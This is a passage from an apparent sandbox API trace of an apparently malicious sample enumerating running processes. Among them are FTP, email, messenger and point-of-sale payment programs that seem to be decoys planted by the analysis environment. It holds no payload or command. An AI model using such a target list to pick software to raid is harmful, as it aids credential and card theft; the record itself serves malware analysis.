th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0252.818] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0252.819] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.821] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.822] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0252.824] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0252.825] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0252.826] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.828] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0252.829] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0252.830] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.832] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0252.833] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0252.880] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0252.881] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0252.883] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0252.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0252.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0252.886] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0252.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0252.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0252.890] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0252.892] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0252.893] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0252.895] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0252.896] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0252.897] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0252.898] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0252.900] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0252.901] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0252.902] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0252.905] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0252.906] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0252.908] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0252.910] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0252.911] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0252.913] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0252.915] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0252.917] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0252.919] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0252.958] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0252.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0252.961] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0252.963] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0252.965] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0252.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0252.969] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0252.971] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0252.973] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0252.975] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0252.977] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0252.979] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0252.981] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0252.983] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0252.985] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0252.987] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0252.989] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0252.992] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0253.037] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0253.039] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0253.041] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0253.043] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0253.045] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0253.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0253.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0253.050] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0253.051] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0253.054] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0253.055] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0253.057] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0253.058] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0253.060] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0253.062] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0253.063] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0253.065] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0253.066] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0253.115] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0253.116] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0253.118] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0253.119] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0253.121] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.122] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.124] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0253.125] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0253.126] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 